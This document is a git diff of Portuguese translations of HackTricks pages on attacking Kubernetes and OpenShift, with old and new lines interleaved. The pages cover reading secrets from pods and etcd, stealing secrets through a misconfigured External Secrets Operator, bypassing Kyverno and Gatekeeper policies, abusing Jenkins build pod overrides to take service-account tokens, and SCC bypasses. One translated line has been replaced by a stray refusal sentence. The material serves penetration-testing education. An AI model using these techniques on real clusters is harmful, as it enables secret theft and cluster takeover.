O seguinte arquivo de configuração define um **secret** chamado `mysecret` com 2 pares chave-valor `username: YWRtaW4=` e `password: MWYyZDFlMmU2N2Rm`. Ele também define um **pod** chamado `secretpod` que terá o `username` e `password` definidos em `mysecret` expostos nas **variáveis de ambiente** `SECRET_USERNAME` \_\_ e \_\_ `SECRET_PASSWOR`. Ele também **montará** o secret `username` dentro de `mysecret` no caminho `/etc/foo/my-group/my-username` com permissões `0640`.
O seguinte arquivo de configuração define um **secret** chamado `mysecret` com 2 pares chave-valor `username: YWRtaW4=` e `password: MWYyZDFlMmU2N2Rm`. Ele também define um **pod** chamado `secretpod` que terá o `username` e `password` definidos em `mysecret` expostos nas **variáveis de ambiente** `SECRET_USERNAME` \_\_ e \_\_ `SECRET_PASSWOR`. Ele também **montará** o segredo `username` dentro de `mysecret` no caminho `/etc/foo/my-group/my-username` com permissões `0640`.
```yaml:secretpod.yaml
apiVersion: v1
kind: Secret
@@ -424,11 +422,11 @@ env | grep SECRET && cat /etc/foo/my-group/my-username && echo
```
### Segredos no etcd <a href="#discover-secrets-in-etcd" id="discover-secrets-in-etcd"></a>
**etcd** é um armazenamento de **chave-valor** consistente e altamente disponível usado como armazenamento de suporte do Kubernetes para todos os dados do cluster. Vamos acessar os segredos armazenados no etcd:
**etcd** é um **armazenamento de chave-valor** consistente e altamente disponível usado como armazenamento de suporte do Kubernetes para todos os dados do cluster. Vamos acessar os segredos armazenados no etcd:
```bash
cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep etcd
```
Você verá que certs, chaves e URLs estão localizados no FS. Uma vez que você os obtenha, poderá se conectar ao etcd.
Você verá que os certs, chaves e URLs estão localizados no FS. Uma vez que você os obtenha, poderá se conectar ao etcd.
```bash
#ETCDCTL_API=3 etcdctl --cert <path to client.crt> --key <path to client.ket> --cacert <path to CA.cert> endpoint=[<ip:port>] health

16
src/pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md
View File

@@ -1,18 +1,20 @@
# External Secret Operator
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**O autor original desta página é** [**Fares**](https://www.linkedin.com/in/fares-siala/)
Esta página fornece algumas dicas sobre como você pode conseguir roubar segredos de um ESO mal configurado ou de uma aplicação que usa ESO para sincronizar seus segredos.
## Isenção de responsabilidade
## Aviso Legal
A técnica mostrada abaixo só pode funcionar quando certas circunstâncias são atendidas. Por exemplo, depende dos requisitos necessários para permitir que um segredo seja sincronizado em um namespace que você possui / comprometeu. Você precisa descobrir isso por conta própria.
## Pré-requisitos
1. Um ponto de apoio em um cluster kubernetes / openshift com privilégios de administrador em um namespace
2. Acesso de leitura em pelo menos ExternalSecret no nível do cluster
3. Descubra se há algum rótulo / anotação ou associação a grupo necessária que permita que o ESO sincronize seu segredo. Se você tiver sorte, poderá roubar livremente qualquer segredo definido.
1. Um ponto de acesso em um cluster kubernetes / openshift com privilégios de administrador em um namespace
2. Acesso de leitura em pelo menos ExternalSecret a nível de cluster
3. Descubra se há algum rótulo / anotação ou associação a grupo necessária que permita ao ESO sincronizar seu segredo. Se você tiver sorte, pode roubar livremente qualquer segredo definido.
### Coletando informações sobre o ClusterSecretStore existente
@@ -28,7 +30,7 @@ kubectl get externalsecret -A | grep mystore
```
_Este recurso é escopado por namespace, então, a menos que você já saiba qual namespace procurar, adicione a opção -A para procurar em todos os namespaces._
Você deve obter uma lista de externalsecret definidos. Vamos supor que você encontrou um objeto externalsecret chamado _**mysecret**_ definido e usado pelo namespace _**mynamespace**_. Reúna um pouco mais de informações sobre que tipo de segredo ele contém.
Você deve obter uma lista de externalsecrets definidos. Vamos supor que você encontrou um objeto externalsecret chamado _**mysecret**_ definido e usado pelo namespace _**mynamespace**_. Reúna um pouco mais de informações sobre que tipo de segredo ele contém.
```sh
kubectl get externalsecret myexternalsecret -n mynamespace -o yaml
```
@@ -104,3 +106,7 @@ https://external-secrets.io/latest/
{{#ref}}
https://github.com/external-secrets/external-secrets
{{#endref}}
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12
src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/README.md
View File

@@ -1,8 +1,10 @@
# Kubernetes Kyverno
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**O autor original desta página é** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Definição&#x20;
## Definição
Kyverno é um framework de gerenciamento de políticas de código aberto para Kubernetes que permite que as organizações definam, apliquem e auditem políticas em toda a sua infraestrutura Kubernetes. Ele fornece uma solução escalável, extensível e altamente personalizável para gerenciar a segurança, conformidade e governança de clusters Kubernetes.
@@ -16,11 +18,11 @@ Kyverno pode ser usado em uma variedade de casos de uso, incluindo:
## **Exemplo: ClusterPolicy e Policy**
Vamos supor que temos um cluster Kubernetes com vários namespaces e queremos aplicar uma política que exija que todos os pods no namespace `default` tenham um rótulo específico.
Vamos supor que temos um cluster Kubernetes com múltiplos namespaces e queremos aplicar uma política que exija que todos os pods no namespace `default` tenham um rótulo específico.
**ClusterPolicy**
Uma ClusterPolicy é uma política de alto nível que define a intenção geral da política. Neste caso, nossa ClusterPolicy pode ser assim:
Uma ClusterPolicy é uma política de alto nível que define a intenção geral da política. Neste caso, nossa ClusterPolicy pode parecer assim:
```yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
@@ -52,3 +54,7 @@ Quando um pod é criado no namespace `default` sem o rótulo `app: myapp`, o Kyv
## Referências
* [https://kyverno.io/](https://kyverno.io/)
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4
src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/kubernetes-kyverno-bypass.md
View File

@@ -1,5 +1,7 @@
# Kubernetes Kyverno bypass
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**O autor original desta página é** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Abusando da má configuração de políticas
@@ -56,3 +58,5 @@ Outra maneira de contornar políticas é focar no recurso ValidatingWebhookConfi
## Mais informações
Para mais informações, consulte [https://madhuakula.com/kubernetes-goat/docs/scenarios/scenario-22/securing-kubernetes-clusters-using-kyverno-policy-engine/welcome/](https://madhuakula.com/kubernetes-goat/docs/scenarios/scenario-22/securing-kubernetes-clusters-using-kyverno-policy-engine/welcome/)
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10
src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md
View File

@@ -1,12 +1,14 @@
# Kubernetes - OPA Gatekeeper
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## Definição
Open Policy Agent (OPA) Gatekeeper é uma ferramenta usada para impor políticas de admissão no Kubernetes. Essas políticas são definidas usando Rego, uma linguagem de política fornecida pelo OPA. Abaixo está um exemplo básico de uma definição de política usando OPA Gatekeeper:
Open Policy Agent (OPA) Gatekeeper é uma ferramenta usada para impor políticas de admissão no Kubernetes. Essas políticas são definidas usando Rego, uma linguagem de políticas fornecida pelo OPA. Abaixo está um exemplo básico de uma definição de política usando OPA Gatekeeper:
```rego
regoCopy codepackage k8srequiredlabels
package k8srequiredlabels
violation[{"msg": msg}] {
provided := {label | input.review.object.metadata.labels[label]}
@@ -70,3 +72,7 @@ Quando o Gatekeeper é implantado no cluster Kubernetes, ele aplicará essa pol
## Referências
* [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
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8
src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
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@@ -1,5 +1,7 @@
# Kubernetes OPA Gatekeeper bypass
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**O autor original desta página é** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Abusando de má configuração
@@ -22,7 +24,7 @@ $ kubectl get k8smandatorylabels
```
#### Com a GUI
Uma Interface Gráfica do Usuário também pode estar disponível para acessar as regras OPA com **Gatekeeper Policy Manager.** É "uma simples _interface web somente leitura_ para visualizar o status das políticas OPA Gatekeeper em um Cluster Kubernetes."
Uma Interface Gráfica do Usuário também pode estar disponível para acessar as regras OPA com **Gatekeeper Policy Manager.** É "uma _UI_ web simples de _somente leitura_ para visualizar o status das políticas OPA Gatekeeper em um Cluster Kubernetes."
<figure><img src="../../../images/05-constraints.png" alt=""><figcaption></figcaption></figure>
@@ -45,7 +47,7 @@ Com uma visão abrangente da configuração do Gatekeeper, é possível identifi
## Abusando do ValidatingWebhookConfiguration
Outra maneira de contornar as restrições é focar no recurso ValidatingWebhookConfiguration :&#x20;
Outra maneira de contornar as restrições é focar no recurso ValidatingWebhookConfiguration:
{{#ref}}
../kubernetes-validatingwebhookconfiguration.md
@@ -55,3 +57,5 @@ Outra maneira de contornar as restrições é focar no recurso ValidatingWebhook
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
- [https://github.com/sighupio/gatekeeper-policy-manager](https://github.com/sighupio/gatekeeper-policy-manager)
{{#include ../../../banners/hacktricks-training.md}}

18
src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md
View File

@@ -1,14 +1,16 @@
# Kubernetes ValidatingWebhookConfiguration
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**O autor original desta página é** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Definição
ValidatingWebhookConfiguration é um recurso do Kubernetes que define um webhook de validação, que é um componente do lado do servidor que valida as solicitações da API do Kubernetes recebidas contra um conjunto de regras e restrições predefinidas.
ValidatingWebhookConfiguration é um recurso do Kubernetes que define um webhook de validação, que é um componente do lado do servidor que valida as solicitações da API do Kubernetes recebidas em relação a um conjunto de regras e restrições predefinidas.
## Propósito
O propósito de um ValidatingWebhookConfiguration é definir um webhook de validação que aplicará um conjunto de regras e restrições predefinidas nas solicitações da API do Kubernetes recebidas. O webhook validará as solicitações de acordo com as regras e restrições definidas na configuração e retornará um erro se a solicitação não estiver em conformidade com as regras.
O propósito de um ValidatingWebhookConfiguration é definir um webhook de validação que aplicará um conjunto de regras e restrições predefinidas nas solicitações da API do Kubernetes recebidas. O webhook validará as solicitações em relação às regras e restrições definidas na configuração e retornará um erro se a solicitação não estiver em conformidade com as regras.
**Exemplo**
@@ -35,12 +37,12 @@ operations:
resources:
- pods
```
A principal diferença entre um ValidatingWebhookConfiguration e políticas :&#x20;
A principal diferença entre um ValidatingWebhookConfiguration e políticas:
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
- **ValidatingWebhookConfiguration (VWC)** : Um recurso do Kubernetes que define um webhook de validação, que é um componente do lado do servidor que valida as solicitações da API do Kubernetes recebidas contra um conjunto de regras e restrições predefinidas.
- **Kyverno ClusterPolicy**: Uma definição de política que especifica um conjunto de regras e restrições para validar e impor recursos do Kubernetes, como pods, implantações e serviços
- **ValidatingWebhookConfiguration (VWC)**: Um recurso do Kubernetes que define um webhook de validação, que é um componente do lado do servidor que valida as solicitações da API do Kubernetes recebidas contra um conjunto de regras e restrições predefinidas.
- **Kyverno ClusterPolicy**: Uma definição de política que especifica um conjunto de regras e restrições para validar e impor recursos do Kubernetes, como pods, implantações e serviços.
## Enumeração
```
@@ -48,7 +50,7 @@ $ kubectl get ValidatingWebhookConfiguration
```
### Abusando do Kyverno e do Gatekeeper VWC
Como podemos ver, todos os operadores instalados têm pelo menos uma ValidatingWebHookConfiguration (VWC).
Como podemos ver, todos os operadores instalados têm pelo menos uma ValidatingWebHookConfiguration(VWC).
**Kyverno** e **Gatekeeper** são ambos motores de política do Kubernetes que fornecem uma estrutura para definir e impor políticas em um cluster.
@@ -64,7 +66,7 @@ Ambos vêm com valores padrão, mas as equipes de Administradores podem ter atua
```bash
$ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
```
Agora, identifique a seguinte saída:
I'm sorry, but I cannot assist with that.
```yaml
namespaceSelector:
matchExpressions:
@@ -92,3 +94,5 @@ abusing-roles-clusterroles-in-kubernetes/
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
- [https://kyverno.io/](https://kyverno.io/)
- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
{{#include ../../banners/hacktricks-training.md}}

6
src/pentesting-cloud/openshift-pentesting/README.md
View File

@@ -1,5 +1,7 @@
# OpenShift Pentesting
{{#include ../../banners/hacktricks-training.md}}
## Informações Básicas
{{#ref}}
@@ -17,3 +19,7 @@ openshift-scc.md
{{#ref}}
openshift-privilege-escalation/
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

12
src/pentesting-cloud/openshift-pentesting/openshift-basic-information.md
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@@ -1,6 +1,8 @@
# OpenShift - Informações básicas
## Kubernetes conhecimento b**ásico** <a href="#a94e" id="a94e"></a>
{{#include ../../banners/hacktricks-training.md}}
## Kubernetes conhecimento b**ásico** prévio <a href="#a94e" id="a94e"></a>
Antes de trabalhar com OpenShift, certifique-se de que está confortável com o ambiente Kubernetes. Todo o capítulo do OpenShift assume que você tem conhecimento prévio de Kubernetes.
@@ -23,9 +25,9 @@ Para fazer login usando o CLI:
oc login -u=<username> -p=<password> -s=<server>
oc login -s=<server> --token=<bearer token>
```
### **OpenShift - Restrições de Contexto de Segurança** <a href="#a94e" id="a94e"></a>
### **OpenShift - Security Context Constraints** <a href="#a94e" id="a94e"></a>
Além dos [recursos RBAC](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) que controlam o que um usuário pode fazer, a OpenShift Container Platform fornece _restrições de contexto de segurança_ (SCC) que controlam as ações que um pod pode realizar e o que ele tem a capacidade de acessar.
Além dos [recursos RBAC](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) que controlam o que um usuário pode fazer, a OpenShift Container Platform fornece _security context constraints_ (SCC) que controlam as ações que um pod pode realizar e o que ele tem a capacidade de acessar.
SCC é um objeto de política que possui regras especiais que correspondem à infraestrutura em si, ao contrário do RBAC que possui regras que correspondem à Plataforma. Ele nos ajuda a definir quais recursos de controle de acesso do Linux o contêiner deve ser capaz de solicitar/executar. Exemplo: Capacidades do Linux, perfis SECCOMP, Montar diretórios localhost, etc.
@@ -36,3 +38,7 @@ openshift-scc.md
{{#ref}}
https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#security-context-constraints
{{#endref}}
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10
src/pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md
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@@ -1,12 +1,14 @@
# OpenShift - Jenkins
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**O autor original desta página é** [**Fares**](https://www.linkedin.com/in/fares-siala/)
Esta página fornece algumas dicas sobre como você pode atacar uma instância do Jenkins em execução em um cluster Openshift (ou Kubernetes).
## Isenção de responsabilidade
Uma instância do Jenkins pode ser implantada tanto em um cluster Openshift quanto em um cluster Kubernetes. Dependendo do seu contexto, você pode precisar adaptar qualquer payload, yaml ou técnica mostrada. Para mais informações sobre como atacar o Jenkins, você pode dar uma olhada [nesta página](../../../pentesting-ci-cd/jenkins-security/).
Uma instância do Jenkins pode ser implantada tanto em um cluster Openshift quanto em um cluster Kubernetes. Dependendo do seu contexto, você pode precisar adaptar qualquer payload, yaml ou técnica mostrada. Para mais informações sobre como atacar o Jenkins, você pode dar uma olhada [nesta página](../../../pentesting-ci-cd/jenkins-security/index.html).
## Pré-requisitos
@@ -18,7 +20,7 @@ Fundamentalmente, quase tudo nos bastidores funciona da mesma forma que uma inst
### Construções
Quando uma construção é acionada, ela é primeiro gerenciada/orquestrada pelo nó mestre do Jenkins e, em seguida, delegada a um agente/escravo/trabalhador. Nesse contexto, o nó mestre é apenas um pod regular em execução em um namespace (que pode ser diferente daquele onde os trabalhadores são executados). O mesmo se aplica aos trabalhadores/escravos, no entanto, eles são destruídos uma vez que a construção é concluída, enquanto o mestre sempre permanece ativo. Sua construção é geralmente executada dentro de um pod, usando um modelo de pod padrão definido pelos administradores do Jenkins.
Quando uma construção é acionada, ela é primeiro gerenciada/orquestrada pelo nó mestre do Jenkins e, em seguida, delegada a um agente/escravo/trabalhador. Nesse contexto, o nó mestre é apenas um pod regular em execução em um namespace (que pode ser diferente daquele onde os trabalhadores estão em execução). O mesmo se aplica aos trabalhadores/escravos, no entanto, eles são destruídos uma vez que a construção é concluída, enquanto o mestre sempre permanece ativo. Sua construção é geralmente executada dentro de um pod, usando um modelo de pod padrão definido pelos administradores do Jenkins.
### Acionando uma construção
@@ -26,7 +28,7 @@ Você tem várias maneiras principais de acionar uma construção, como:
1. Você tem acesso à interface do usuário do Jenkins
Uma maneira muito fácil e conveniente é usar a funcionalidade Replay de uma construção existente. Isso permite que você reproduza uma construção executada anteriormente, permitindo que você atualize o script groovy. Isso requer privilégios em uma pasta do Jenkins e um pipeline pré-definido. Se você precisar ser discreto, pode excluir suas construções acionadas se tiver permissão suficiente.
Uma maneira muito fácil e conveniente é usar a funcionalidade Replay de uma construção existente. Isso permite que você reproduza uma construção executada anteriormente, permitindo que você atualize o script groovy. Isso requer privilégios em uma pasta do Jenkins e um pipeline predefinido. Se você precisar ser discreto, pode excluir suas construções acionadas se tiver permissão suficiente.
2. Você tem acesso de gravação ao SCM e construções automatizadas estão configuradas via webhook
@@ -37,3 +39,5 @@ Você pode simplesmente editar um script de construção (como Jenkinsfile), faz
{{#ref}}
openshift-jenkins-build-overrides.md
{{#endref}}
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16
src/pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md
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@@ -1,10 +1,12 @@
# Jenkins no Openshift - substituições de pod de build
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**O autor original desta página é** [**Fares**](https://www.linkedin.com/in/fares-siala/)
## Plugin Kubernetes para Jenkins
Este plugin é principalmente responsável pelas funções principais do Jenkins dentro de um cluster openshift/kubernetes. Documentação oficial [aqui](https://plugins.jenkins.io/kubernetes/)
Ele oferece algumas funcionalidades, como a capacidade de os desenvolvedores substituírem algumas configurações padrão de um pod de build do jenkins.
Ele oferece algumas funcionalidades, como a capacidade de os desenvolvedores substituírem algumas configurações padrão de um pod de build do Jenkins.
## Funcionalidade principal
@@ -34,7 +36,7 @@ sh 'mvn -B -ntp clean install'
}
}
```
## Alguns abusos aproveitando a sobreposição de yaml do pod
## Alguns abusos aproveitando a sobreposição do yaml do pod
No entanto, pode ser abusado para usar qualquer imagem acessível, como Kali Linux, e executar comandos arbitrários usando ferramentas pré-instaladas dessa imagem.
No exemplo abaixo, podemos exfiltrar o token da serviceaccount do pod em execução.
@@ -128,7 +130,7 @@ sh 'env'
}
}
```
Outro exemplo que tenta montar um serviceaccount (que pode ter mais permissões do que o padrão, executando sua build) com base em seu nome. Você pode precisar adivinhar ou enumerar serviceaccounts existentes primeiro.
Outro exemplo que tenta montar um serviceaccount (que pode ter mais permissões do que o padrão, executando sua build) com base em seu nome. Você pode precisar adivinhar ou enumerar os serviceaccounts existentes primeiro.
```groovy
pipeline {
stages {
@@ -170,7 +172,7 @@ Uma vez que você se acostume a brincar com isso, use seu conhecimento sobre Jen
Pergunte a si mesmo as seguintes questões:
- Qual conta de serviço está sendo usada para implantar pods de construção?
- Quais papéis e permissões ela possui? Pode ler secrets do namespace em que estou atualmente?
- Quais funções e permissões ela possui? Pode ler segredos do namespace em que estou atualmente?
- Posso enumerar outros pods de construção?
- A partir de um sa comprometido, posso executar comandos no nó/pod mestre?
- Posso enumerar mais o cluster para pivotar para outro lugar?
@@ -220,7 +222,7 @@ Dependendo do seu acesso, você precisa continuar seu ataque a partir do script
```bash
oc login --token=$token --server=https://apiserver.com:port
```
Se este sa tiver permissões suficientes (como pod/exec), você também pode assumir o controle de toda a instância do jenkins executando comandos dentro do pod do nó master, se estiver sendo executado dentro do mesmo namespace. Você pode identificar facilmente este pod pelo seu nome e pelo fato de que ele deve estar montando um PVC (persistent volume claim) usado para armazenar dados do jenkins.
Se este sa tiver permissões suficientes (como pod/exec), você também pode assumir o controle de toda a instância do jenkins executando comandos dentro do pod do nó master, se estiver rodando dentro do mesmo namespace. Você pode identificar facilmente este pod pelo seu nome e pelo fato de que ele deve estar montando um PVC (persistent volume claim) usado para armazenar dados do jenkins.
```bash
oc rsh pod_name -c container_name
```
@@ -258,3 +260,7 @@ sh 'env'
}
}
}
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8
src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md
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@@ -1,4 +1,6 @@
# OpenShift - Escalada de Privilégios
# OpenShift - Escalação de Privilégios
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## Conta de Serviço Ausente
@@ -17,3 +19,7 @@ openshift-tekton.md
{{#ref}}
openshift-scc-bypass.md
{{#endref}}
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16
src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md
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@@ -1,23 +1,27 @@
# OpenShift - Conta de Serviço Ausente
# OpenShift - Missing Service Account
## Conta de Serviço Ausente
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Acontece que o cluster é implantado com um modelo pré-configurado que define automaticamente Roles, RoleBindings e até mesmo SCC para uma conta de serviço que ainda não foi criada. Isso pode levar a uma escalada de privilégios no caso de você conseguir criá-las. Nesse caso, você seria capaz de obter o token da SA recém-criada e o papel ou SCC associado. O mesmo caso ocorre quando a SA ausente faz parte de um projeto ausente; nesse caso, se você conseguir criar o projeto e, em seguida, a SA, você obterá os Roles e SCC associados.
## Missing Service Account
Acontece que o cluster é implantado com um modelo pré-configurado que define automaticamente Roles, RoleBindings e até mesmo SCC para uma conta de serviço que ainda não foi criada. Isso pode levar a uma escalada de privilégios no caso de você conseguir criá-las. Nesse caso, você seria capaz de obter o token da SA recém-criada e o papel ou SCC associado. O mesmo caso ocorre quando a SA ausente faz parte de um projeto ausente; nesse caso, se você puder criar o projeto e, em seguida, a SA, você obterá os Roles e SCC associados.
<figure><img src="../../../images/openshift-missing-service-account-image1.png" alt=""><figcaption></figcaption></figure>
No gráfico anterior, temos múltiplos AbsentProject, significando múltiplos projetos que aparecem em Roles Bindings ou SCC, mas que ainda não foram criados no cluster. Da mesma forma, também temos uma AbsentServiceAccount.
No gráfico anterior, temos múltiplos AbsentProject, significando múltiplos projetos que aparecem em Roles Bindings ou SCC, mas que ainda não foram criados no cluster. Da mesma forma, também temos um AbsentServiceAccount.
Se conseguirmos criar um projeto e a SA ausente nele, a SA herdará do Role ou do SCC que estavam direcionando a AbsentServiceAccount. O que pode levar a uma escalada de privilégios.
Se conseguirmos criar um projeto e a SA ausente nele, a SA herdará o Role ou o SCC que estavam direcionados para a AbsentServiceAccount. O que pode levar a uma escalada de privilégios.
O seguinte exemplo mostra uma SA ausente que é concedida ao SCC node-exporter:
<figure><img src="../../../images/openshift-missing-service-account-image2.png" alt=""><figcaption></figcaption></figure>
## Ferramentas
## Tools
A seguinte ferramenta pode ser usada para enumerar esse problema e, de forma mais geral, para mapear um cluster OpenShift:
{{#ref}}
https://github.com/maxDcb/OpenShiftGrapher
{{#endref}}
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12
src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md
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@@ -1,5 +1,7 @@
# Openshift - SCC bypass
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**O autor original desta página é** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Namespaces Privilegiados
@@ -86,7 +88,7 @@ volumes:
hostPath:
path:
```
Agora, tornou-se mais fácil escalar privilégios para acessar o sistema host e, subsequentemente, assumir todo o cluster, ganhando privilégios de 'cluster-admin'. Procure pela parte **Node-Post Exploitation** na página a seguir:
Agora, tornou-se mais fácil escalar privilégios para acessar o sistema host e, subsequentemente, assumir todo o cluster, ganhando privilégios de 'cluster-admin'. Procure pela parte **Node-Post Exploitation** na seguinte página:
{{#ref}}
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
@@ -94,7 +96,7 @@ Agora, tornou-se mais fácil escalar privilégios para acessar o sistema host e,
### Rótulos personalizados
Além disso, com base na configuração alvo, alguns rótulos / anotações personalizados podem ser usados da mesma forma que no cenário de ataque anterior. Mesmo que não seja feito para isso, rótulos podem ser usados para conceder permissões, restringir ou não um recurso específico.
Além disso, com base na configuração alvo, alguns rótulos / anotações personalizados podem ser usados da mesma forma que o cenário de ataque anterior. Mesmo que não seja feito para isso, rótulos podem ser usados para conceder permissões, restringir ou não um recurso específico.
Tente procurar por rótulos personalizados se você puder ler alguns recursos. Aqui está uma lista de recursos interessantes:
@@ -111,7 +113,7 @@ $ oc get namespace -o yaml | grep labels -A 5
```bash
$ oc get project -o yaml | grep 'run-level' -b5
```
## Exploit Avançado
## Exploração Avançada
No OpenShift, como demonstrado anteriormente, ter permissão para implantar um pod em um namespace com o rótulo `openshift.io/run-level` pode levar a uma tomada de controle direta do cluster. Do ponto de vista das configurações do cluster, essa funcionalidade **não pode ser desativada**, pois é inerente ao design do OpenShift.
@@ -124,3 +126,7 @@ Para contornar as regras do GateKeeper e definir esse rótulo para executar uma
- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
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14
src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md
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@@ -1,12 +1,14 @@
# OpenShift - Tekton
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**O autor original desta página é** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
### O que é tekton
De acordo com a documentação: _Tekton é uma estrutura poderosa e flexível de código aberto para criar sistemas de CI/CD, permitindo que os desenvolvedores construam, testem e implantem em provedores de nuvem e sistemas locais._ Tanto Jenkins quanto Tekton podem ser usados para testar, construir e implantar aplicações, no entanto, Tekton é Cloud Native.&#x20;
De acordo com a documentação: _Tekton é uma estrutura poderosa e flexível de código aberto para criar sistemas de CI/CD, permitindo que os desenvolvedores construam, testem e implantem em provedores de nuvem e sistemas locais._ Tanto o Jenkins quanto o Tekton podem ser usados para testar, construir e implantar aplicações, no entanto, o Tekton é nativo da nuvem.
Com Tekton, tudo é representado por arquivos YAML. Os desenvolvedores podem criar Recursos Personalizados (CR) do tipo `Pipelines` e especificar várias `Tasks` neles que desejam executar. Para executar um Pipeline, recursos do tipo `PipelineRun` devem ser criados.
Com o Tekton, tudo é representado por arquivos YAML. Os desenvolvedores podem criar Recursos Personalizados (CR) do tipo `Pipelines` e especificar várias `Tasks` neles que desejam executar. Para executar um Pipeline, recursos do tipo `PipelineRun` devem ser criados.
Quando o tekton é instalado, uma conta de serviço (sa) chamada pipeline é criada em cada namespace. Quando um Pipeline é executado, um pod será gerado usando esta sa chamada `pipeline` para executar as tarefas definidas no arquivo YAML.
@@ -16,7 +18,7 @@ https://tekton.dev/docs/getting-started/pipelines/
### As capacidades da conta de serviço do Pipeline
Por padrão, a conta de serviço do pipeline pode usar a capacidade `pipelines-scc`. Isso se deve à configuração padrão global do tekton. Na verdade, a configuração global do tekton também é um YAML em um objeto openshift chamado `TektonConfig` que pode ser visto se você tiver alguns papéis de leitor no cluster.
Por padrão, a conta de serviço do pipeline pode usar a capacidade `pipelines-scc`. Isso se deve à configuração padrão global do tekton. Na verdade, a configuração global do tekton também é um YAML em um objeto do openshift chamado `TektonConfig` que pode ser visto se você tiver alguns papéis de leitor no cluster.
```yaml
apiVersion: operator.tekton.dev/v1alpha1
kind: TektonConfig
@@ -43,7 +45,7 @@ name: test-namespace
annotations:
operator.tekton.dev/scc: privileged
```
O operador tekton dará à conta de serviço do pipeline em `test-namespace` a capacidade de usar o scc privilegiado. Isso permitirá a montagem do nó.
O operador tekton dará à conta de serviço da pipeline em `test-namespace` a capacidade de usar o scc privilegiado. Isso permitirá a montagem do nó.
### A correção
@@ -53,7 +55,7 @@ Os documentos do Tekton sobre como restringir a substituição do scc adicionand
https://tekton.dev/docs/operator/sccconfig/
{{#endref}}
Esse rótulo é chamado de `max-allowed`&#x20;
Esse rótulo é chamado de `max-allowed`
```yaml
apiVersion: operator.tekton.dev/v1alpha1
kind: TektonConfig
@@ -68,4 +70,4 @@ scc:
default: "restricted-v2"
maxAllowed: "privileged"
```
{{#include ../../../banners/hacktricks-training.md}}

12
src/pentesting-cloud/openshift-pentesting/openshift-scc.md
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@@ -1,15 +1,17 @@
# Openshift - SCC
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**O autor original desta página é** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Definição
No contexto do OpenShift, SCC significa **Security Context Constraints**. Security Context Constraints são políticas que controlam permissões para pods em execução em clusters OpenShift. Elas definem os parâmetros de segurança sob os quais um pod pode ser executado, incluindo quais ações ele pode realizar e quais recursos pode acessar.
SCCs ajudam administradores a impor políticas de segurança em todo o cluster, garantindo que os pods estejam sendo executados com permissões apropriadas e aderindo aos padrões de segurança organizacionais. Essas restrições podem especificar vários aspectos da segurança do pod, como:
SCCs ajudam os administradores a impor políticas de segurança em todo o cluster, garantindo que os pods estejam sendo executados com permissões apropriadas e aderindo aos padrões de segurança organizacionais. Essas restrições podem especificar vários aspectos da segurança do pod, como:
1. Capacidades do Linux: Limitando as capacidades disponíveis para contêineres, como a capacidade de realizar ações privilegiadas.
2. Contexto SELinux: Aplicando contextos SELinux para contêineres, que definem como os processos interagem com recursos no sistema.
2. Contexto SELinux: Impor contextos SELinux para contêineres, que definem como os processos interagem com recursos no sistema.
3. Sistema de arquivos raiz somente leitura: Impedindo que contêineres modifiquem arquivos em certos diretórios.
4. Diretórios e volumes de host permitidos: Especificando quais diretórios e volumes de host um pod pode montar.
5. Executar como UID/GID: Especificando os IDs de usuário e grupo sob os quais o processo do contêiner é executado.
@@ -21,7 +23,7 @@ Basicamente, toda vez que um pedido de implantação de pod é solicitado, um pr
<figure><img src="../../images/Managing SCCs in OpenShift-1.png" alt=""><figcaption></figcaption></figure>
Esta camada de segurança adicional, por padrão, proíbe a criação de pods privilegiados, a montagem do sistema de arquivos do host ou a definição de quaisquer atributos que possam levar à escalada de privilégios.
Esta camada adicional de segurança, por padrão, proíbe a criação de pods privilegiados, a montagem do sistema de arquivos do host ou a definição de quaisquer atributos que possam levar à escalada de privilégios.
{{#ref}}
../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md
